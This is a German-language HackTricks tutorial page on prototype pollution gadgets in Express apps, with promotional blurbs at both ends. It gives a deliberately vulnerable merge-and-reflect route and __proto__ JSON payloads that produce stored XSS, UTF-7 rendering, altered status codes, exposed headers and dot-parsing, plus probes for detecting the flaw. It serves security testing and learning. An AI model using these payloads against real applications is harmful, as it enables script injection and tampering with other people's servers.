Express Prototype Pollution Gadgets

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.

Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.

Sie können ihre Website besuchen und ihr Tool kostenlos ausprobieren unter:


Serve XSS-Antworten

Für weitere Details schauen Sie sich die originale Forschung an

Ändern des JSON-Inhaltstyps in HTML

In einer Express-App, die eine JSON-Inhaltstyp-Antwort verwendet und ein JSON reflektiert:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

In diesen Fällen ist XSS normalerweise nicht möglich bei einem JSON-Inhaltstyp. Mit der Prototyp-Verunreinigung können wir jedoch Express verwirren, um eine HTML-Antwort zu senden. Diese Schwachstelle beruht darauf, dass die Anwendung res.send(obj) verwendet und den Body-Parser mit dem Anwendungstyp application/json verwendet.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

Durch das Verschmutzen der Eigenschaften body und _body ist es möglich, Express dazu zu bringen, den HTML-Inhaltstyp zu servieren und die _body-Eigenschaft widerzuspiegeln, was zu gespeichertem XSS führt.

UTF7 rendern

Es ist möglich, Express UTF-7-Inhalte mit zu rendern:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Sichere Scanning-Techniken

JSON-Leerzeichen

Das folgende PP fügt Attributen innerhalb eines JSON einen zusätzlichen Leerzeichen hinzu, das die Funktionalität nicht beeinträchtigt:

{"__proto__":{"json spaces": " "}}

Dann wird ein reflektiertes JSON wie folgt aussehen:

{"foo":  "bar"} -- Note the extra space

Offenlegung von Headern

Das folgende PP-Gadget lässt den Server den HTTP-Header zurücksenden: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

Es erfordert, dass das CORS-Modul installiert ist

OPTIONS-Methode

Mit dem folgenden Payload ist es möglich, eine Methode vor einer OPTIONS-Antwort zu verbergen:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Status

Es ist möglich, den zurückgegebenen Statuscode mithilfe des folgenden PP-Payloads zu ändern:

{"__proto__":{"status":510}}

Fehler

Wenn Sie einem Prototypen mit einem Primitivum wie einem String zuweisen, führt dies zu einer no-op-Operation, da der Prototyp ein Objekt sein muss. Wenn Sie versuchen, einem Prototypenobjekt das Object.prototype selbst zuzuweisen, wird dies eine Ausnahme auslösen. Wir können diese beiden Verhaltensweisen verwenden, um festzustellen, ob die Prototypenverunreinigung erfolgreich war:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Reflektierter Wert

Wenn eine Anwendung ein Objekt in ihrer Antwort enthält und ein Attribut mit einem ungewöhnlichen Namen neben __proto__ erstellt, kann dies aufschlussreich sein. Insbesondere wenn nur das ungewöhnliche Attribut in der Antwort zurückgegeben wird, könnte dies auf die Verwundbarkeit der Anwendung hinweisen:

{"unusualName":"value","__proto__":"test"}

Darüber hinaus, in Szenarien, in denen eine Bibliothek wie Lodash verwendet wird, bietet das Setzen einer Eigenschaft sowohl über die Prototypenverunreinigung (PP) als auch direkt im Objekt einen weiteren diagnostischen Ansatz. Wenn eine solche Eigenschaft aus der Antwort ausgelassen wird, deutet dies darauf hin, dass Lodash die Existenz der Eigenschaft im Zielobjekt vor dem Zusammenführen überprüft:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Sonstiges

Punkte erlauben

Es gibt eine Option in Express, die es Ihnen ermöglicht, Objekte aus Abfragezeichenfolgenparametern zu erstellen. Sie könnten es auf jeden Fall in einer Bug-Kette verwenden, um eine Prototyp-Pollutions-Schwachstelle auszunutzen.

{"__proto__":{"allowDots":true}}

?foo.bar=baz erstellt ein Objekt in Node.

Referenzen

WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.

Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.

Sie können ihre Website besuchen und ihr Tool kostenlos ausprobieren unter:

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated